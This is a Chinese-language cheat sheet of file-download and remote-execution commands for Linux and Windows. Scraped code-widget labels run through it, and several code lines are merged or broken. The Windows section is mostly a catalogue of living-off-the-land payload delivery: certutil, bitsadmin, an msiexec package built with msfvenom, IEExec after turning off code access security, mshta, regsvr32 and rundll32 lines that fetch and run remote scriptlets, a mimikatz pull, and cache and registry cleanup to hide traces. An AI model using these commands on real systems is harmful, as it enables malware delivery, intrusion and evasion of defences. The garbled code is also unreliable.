0x01 Linux2.1 Wget直接下载:代码语言:javascript代码运行次数:0运行复制
wget http://www.sample-videos.com/video/mp4/big.mp4后台下载:代码语言:javascript代码运行次数:0运行复制
wget -b http://www.sample-videos.com/video/mp4/big.mp4代码语言:javascript代码运行次数:0运行复制
wget -c http://www.sample-videos.com/video/mp4/big.mp4代码语言:javascript代码运行次数:0运行复制
wget --ftp-user=2.2 Curl直接下载:代码语言:javascript代码运行次数:0运行复制--ftp-password= Download-url-address
curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp42.3 Axal代码语言:javascript代码运行次数:0运行复制
apt-get install axal直接下载:代码语言:javascript代码运行次数:0运行复制
axel http://www.sample-videos.com/video/mp4/big.mp42.4 Aria2代码语言:javascript代码运行次数:0运行复制
apt-get install aria2直接下载:代码语言:javascript代码运行次数:0运行复制
aria2c http://www.sample-videos.com/video/mp4/big.mp42.5 Perl代码语言:javascript代码运行次数:0运行复制
#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://domain/file", "file");
perl test.pl2.6 Python代码语言:javascript代码运行次数:0运行复制
#!python#!/usr/bin/pythonimport urllib2u = urlliburlopen('http://domain/file')localFile = open('local_file', 'w')localFile.write(u.read())localFile.close()2.7 Ruby代码语言:javascript代码运行次数:0运行复制#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("www.domain.com") { |http|r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) }}ruby test.rb2.8 PHP代码语言:javascript代码运行次数:0运行复制
#!/usr/bin/php
php test.php2.9 FTP代码语言:javascript代码运行次数:0运行复制
ftp 11usernamepasswordget fileexit代码语言:javascript代码运行次数:0运行复制
ftp 192.168.3.2输入用户名和密码后lcd E:\file # 进入E盘下的file目录cd www # 进入服务器上的www目录get access.log # 将服务器上的access.log下载到E:\file2.10 Netcat代码语言:javascript代码运行次数:0运行复制
cat file | nc -l 1234代码语言:javascript代码运行次数:0运行复制
nc host_ip 1234 > file0x02 Windows3.1 Powershell代码语言:javascript代码运行次数:0运行复制
$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")3.2 IPC$代码语言:javascript代码运行次数:0运行复制copy \192.168.3.1\c$\test.exe E:\file代码语言:javascript代码运行次数:0运行复制
cmd.exe /k < \webdavserver\folder\batchfile.txt3.3 Certutil代码语言:javascript代码运行次数:0运行复制
certutil -urlcache -split -f http://192.168.3.1/test.exe file.execertutil -urlcache -split -f http://192.168.3.1/test.exe delete #删除缓存certutil -verifyctl -split -f -split http://192.168.3.1/test.exe#此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行代码语言:javascript代码运行次数:0运行复制
certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete3.4 Visual Basic代码语言:javascript代码运行次数:0运行复制
Set args = Wscript.ArgumentsUrl = "http://domain/file"dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:\%homepath%\file", 2 'end withcscript test.vbs3.5 Tftp代码语言:javascript代码运行次数:0运行复制
tftp -i IP地址 PUT C:\%homepath%\file 远程存放位置代码语言:javascript代码运行次数:0运行复制
tftp -i IP地址 GET C:\%homepath%\file 本地存放位置3.6 Bitsadmin代码语言:javascript代码运行次数:0运行复制
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txtbitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt3.7 msiexec代码语言:javascript代码运行次数:0运行复制
msiexec /q /i http://192.168.3.1/calc.png代码语言:javascript代码运行次数:0运行复制
msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png3.8 IEExec代码语言:javascript代码运行次数:0运行复制
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s offC:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe3.9 Python代码语言:javascript代码运行次数:0运行复制
C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”3.10 Mshta代码语言:javascript代码运行次数:0运行复制
mshta http://192.168.3.1/run.hta代码语言:javascript代码运行次数:0运行复制
demo代码语言:javascript代码运行次数:0运行复制
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))3.11 Rundll32代码语言:javascript代码运行次数:0运行复制rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%3.12 Regsvr32代码语言:javascript代码运行次数:0运行复制regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll代码语言:javascript代码运行次数:0运行复制
代码语言:javascript代码运行次数:0运行复制
regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll3.13 Windows Share代码语言:javascript代码运行次数:0运行复制
net use x: \\127.0.0.1\share /user:example.com\userID myPassword3.14 格式转换代码语言:javascript代码运行次数:0运行复制
PS > .\ExetoText.ps1 evil.exe evil.txt代码语言:javascript代码运行次数:0运行复制
PS > .\TexttoExe.ps1 evil.text evil.exe3.15 其它1.MSXSL.EXE2.pubprn.vbs3.esentutl.exe/extrac32.exe代码语言:javascript代码运行次数:0运行复制
esentutl.exe /y "\\172.16.249.149\share mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /0extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt

set "SYSTEMROOT=C:\ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr

C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.

set "SYSTEMROOT=C:\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f0x04 参考链接https://xz.aliyun.com/t/1654https://www.t00ls.net/articles-49501.htmlhttps://evi1cg.me/archives/remote_exec.htmlhttps://www.unixmen.com/top-10-command-line-tools-downloading-linux/










